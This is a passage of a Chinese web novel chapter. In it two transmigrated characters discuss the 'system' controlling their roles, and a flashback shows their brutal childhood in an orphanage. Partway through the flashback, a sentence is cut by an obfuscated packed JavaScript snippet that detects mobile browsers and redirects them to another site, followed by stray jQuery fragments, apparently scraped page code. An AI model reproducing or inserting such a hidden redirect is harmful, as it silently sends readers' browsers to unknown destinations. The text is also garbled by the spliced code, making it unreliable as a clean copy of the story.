“这位小姐,”梁佑臣努力让自己保持心平气和,说话的语调还是忍不住九曲十八弯起来,“您又有什么奇思妙想了?”
裴钟琪完全没意识到对面人的情绪变化,兀自思索道:“其实,我有点不理解我这个角色的行为。”
“有何高见?”
“女主被认回裴家后,裴家人虽然偏爱女主,却也没有抛弃原主,还让她以养女的身份继续在裴家生活。”裴钟琪边回忆边说,“女主并没有影响她在裴家的地位,她对女主所做的所有坏事,都是因为想和她抢男主吗?”
梁佑臣咬了口点心,含糊不清道:“那不然呢。”
“既然如此,为什么不直接对男主下手,反而处处针对女主呢?”
裴钟琪越思考越觉得奇怪。
在有男主出现的剧情里,原主一门心思想着让女主出丑,反倒没将多少注意力放在男主身上,当时她看小说的时候没觉得不合理,现在仔细想来,要说原主对男主多么情根深种,只从行为上实在很难看出来。
梁佑臣道:“你又不是她,怎么知道人家的想法,说不定她就是喜欢先铲除情敌呢。”
“然后把自己的人生都搭进去了?”裴钟琪不太认可他的想法,“这也太愚蠢了,作为一个豪门精心培养的大小姐,应该有更高明的手段才对。”
在她看来,原主堪称毫无理智,所作所为缺乏逻辑,就像是被输入了刻板程序,要求她一定要站在女主的对立面。
按照这个思路想下去,原文的梁二少也很奇怪,他明明深爱女主,却放任原主伤害她,甚至同原主联手试图败坏女主的名声。
她忽然想起了刚来到这个世界时的系统播报。
【检测到本世界缺失角色:万人嫌炮灰、邪恶反派。】
“会不会,”裴钟琪凑近对面的人,压低声音说,“我们扮演的角色其实是被剧情控制的,有一天忽然觉醒逃跑了,所以系统才会抓我们来扮演缺失的角色。”
梁佑臣为她续上茶水:“钟琪,你想这些有什么意义呢,如果这是真的,难道你还能把他们俩抓回来?”
“咦,这次你竟然没有晕倒。”裴钟琪坐直,遗憾道,“也许我猜错了。”
“……什么意思?”
“噢,你之前那两次无端晕倒,是因为我说了一些有关系统任务的猜测。”裴钟琪莞尔一笑,神情狡黠,“那些应该是正确的,系统不想让你知道。”
梁佑臣没脾气了:“你拿我做实验呢。”
他也没问裴钟琪有什么猜测,她要是说了,自己说不定会再次失去意识,他还不想在公共场合丢人。
两人讨论了一会儿之后的计划,不知不觉间分完了整桌的食物,裴钟琪甚至觉得有点撑。
结账的时候,她看了眼账单,被上面的惊天数字震撼得回不过神。
梁佑臣刷完卡回头,看到她难掩震惊的表情,揶揄道:“别告诉我你还没有习惯做一个大小姐。”
“裴家人也不用金子做饭啊。”
两人并肩往停车场走去,裴钟琪远远看着那辆熟悉的跑车,轻声道:“其实,我刚刚突然想起了小时候。”
“哦?看来有人很怀念和我抢饭的时光。”
“我真的不该期待你能说出什么好听的话。”
裴钟琪不想理他了,梁佑臣却又说:“其实,我也时常想起那时候的事。”
他目视前方,眼里的怀念不似作伪,锋利的眉眼竟也恍惚变得温柔。
裴钟琪对此有些意外,他们长大后就很少再谈及童年,小时候太苦,她长大后就刻意遗忘了。
“没想到?”梁佑臣看出了她的想法,轻笑一声,“是真的,我真的这样想。”
“为什么?”
梁佑臣侧头看她,眼底含着笑意:“因为那时,你还会叫我哥哥呢。”
换做平常,裴钟琪定然会给他一个白眼,不过她在遥远的时光滤镜下,她对梁佑臣的包容度提升了不少,忍了他这句玩笑话。
“梁佑臣,我想问你一个问题。”
她比梁佑臣矮了半个头,离得太近,要直视他就不得不抬头:“你刚才让女主和我在一起遇到事情的时候去找你,我想问你,这句话是什么意思?”
“什么意思……”
鼻尖飘过清淡的熏香气息,梁佑臣喉结轻轻滚动了一下,偏过了头。
“意思就是,本少会罩你的。”
-
裴钟琪的童年是一座小小的福利院,好几个孩子挤在一间房里,墙壁斑驳破旧,墙角生长着碧绿的苔藓,夏天里吊扇吱呀转动,疲惫得像随时会折断咽气。
在这种偏僻的、无人问津的地方,一点微薄的工资只够养活一个院长和两个老师,食堂的饭菜总是干巴的肉饼、杂粮稀粥和没有油水的菜汤,不够吃,就只能抢。
这座福利院里大多孩子都有着生理上的缺陷,很多人被遗弃时都有了模糊的记忆,只有裴钟琪和梁佑臣是例外,他们从记事起就生活在这里,没有见过外面的世界。
两个老师管不来十几个孩子,在一个吃不饱饭又缺乏正确教育的地方,拥有更多力量的大孩子成为了规则制定者,福利院很快变成一个暴政王国。
说是大孩子,其实最大的也不到十岁,带着股十分天真的残酷。年幼的裴钟琪和梁佑臣长得最可爱,于是理所当然地受到了他们的孤立,不被允许进入食堂,不被允许参与游戏,夜晚与苔藓共享被褥,有爱心志愿者上门时就会被关进房间不许出来。
从那时起,裴钟琪的人生信念就只剩下了一条:活着。
无论用怎样不堪的方法,无论付出怎样的代价,她都要活着。
房间在二楼,她从窗户沿着管道爬下去,蓬头垢面地摔在了来访的志愿者面前,凌乱的短发下一双眼睛却明亮如星辰。年轻的志愿者们没有见过福利院的阴影面,目瞪口呆地看着裴钟琪扑向一个同她年龄相仿的瘸腿小男孩,一拳锤到他头上,抢走志愿者给的小面包,撕开包装袋大口吃起来。
被抢走面包的男孩躺在地上发出一声尖叫,爬起来一瘸一拐地向她冲过来。裴钟琪一边狼吞虎咽地吞食,一边躲避男孩的攻击,绕着志愿者们遛狗似的你追我赶。
大孩子们顾忌着志愿者,没有做出任何举动,有两个年纪小的却被激怒了,嘴里骂着含混的脏话朝裴钟琪扑过去。
砸烂了房间的木板门后从男生宿舍逃出来的梁佑臣如同神兵天降,拎起其中一人的衣领,将人远远地丢出去,回身踹向另一个试图抢夺面包的孩子,将裴钟琪护在身后,恶狠狠地瞪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670051|173115||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着在场的所有人。
“别担心,哥哥保护你。”
他只比身后的女孩大三个月,身形是同样的单薄,却冷静地立在她面前,用眼神逼退所有试图越过安全距离的人。
“哥哥,”裴钟琪拽了拽他脏兮兮的衣摆,将她吃剩下的半个面包递过去,“一人一半。”
梁佑臣接过面包,两个人就这样忽视了在场的所有人,面无表情地分食完一块并不大的面包。
那一个小面包被两人瓜分,并不能填饱任何一个人的肚子,裴钟琪却从中体会到了抢食的甜头。
她开始变得凶狠,再次被拦着不让进食堂的时候,她直接扑上去咬住了对方的脖子,在惨叫声中将对方咬得鲜血淋漓,随后把人往旁边一丢,带着半张脸的血大摇大摆地走进食堂。
其他孩子不会放任她如此嚣张,纷纷涌过来要给她一点教训。她太瘦弱,在打架中占尽劣势,所以梁佑臣会帮她击退所有敌人,让她趁乱卷走食物逃跑。
两个人一起同整个福利院的孩子抢吃的,抢到手去后院分赃,又要再同彼此抢一遍,最后变成两个灰扑扑的小萝卜头,坐在仓库的墙根下可怜兮兮地吃完来之不易的死面饼。
“好难吃。”小裴钟琪险些被噎个半死,“我想吃电视上那种松软的点心,它们看起来肯定不干。”
“谁让你吃那么快,饿死鬼投胎啊。”小梁佑臣捞过水壶塞到她手上,“快点喝,噎不死你。”
孤立事态变得越来越严重,晚上就寝时间,两个人被关在了宿舍门外,敲断手也没有人来开门。
秋天的夜晚已经有些寒冷,梁佑臣拖来椅子,站在门外高声威胁:“再不开门,我就直接砸了!”
大孩子在房门内冷笑:“试试看啊,你猜院长会不会把你赶出去。”
修门是一笔大费用,梁佑臣上一次破门而出,事后被院长和两名老师骂了个狗血淋头,还被指着鼻子说,再给福利院找事就把他赶出去。
梁佑臣灰溜溜地把椅子放了回去,有些窘迫地对裴钟琪道:“我们没地方睡了。”
裴钟琪对失去床铺这件事没什么反应:“去仓库吧,那里比较暖和。”
仓库里面摆满了乱七八糟的杂物,久未打扫,一开门便扬起满室尘土。裴钟琪从仓库深处翻出一床破旧的棉被,铺在梁佑臣努力打扫但未见成效的角落,稍稍隔绝了来自地面的寒气。
“睡觉吧,哥哥。”
夜色澄净,圆月无缺,两个半大孩子缩在一床破棉被里,盖着梁佑臣的外套依偎着取暖入睡。
这个夜晚注定不会太好过,裴钟琪半睡半醒,在夜晚的寒意中下意识靠近身边的热源。
咔哒。
黑夜里响起一声轻响,随后是几个孩子小声嬉笑的声音远去。
仓库里极度疲惫的两个孩子一无所觉,直到第二天早上,他们醒来准备出去,才发现仓库门被从外面上了锁,推不开。
大人们很少会来后院,几个孩子尖锐的嘲笑声在门外响起,他们笑得肆无忌惮,仿佛确定门里的人死路一条,期待着看见他们示弱求饶的模样。
梁佑臣把那几个声音一一记在心里,在仓库里寻找趁手的工具,还不忘回头安抚裴钟琪。
“不要害怕,哥哥会保护你。”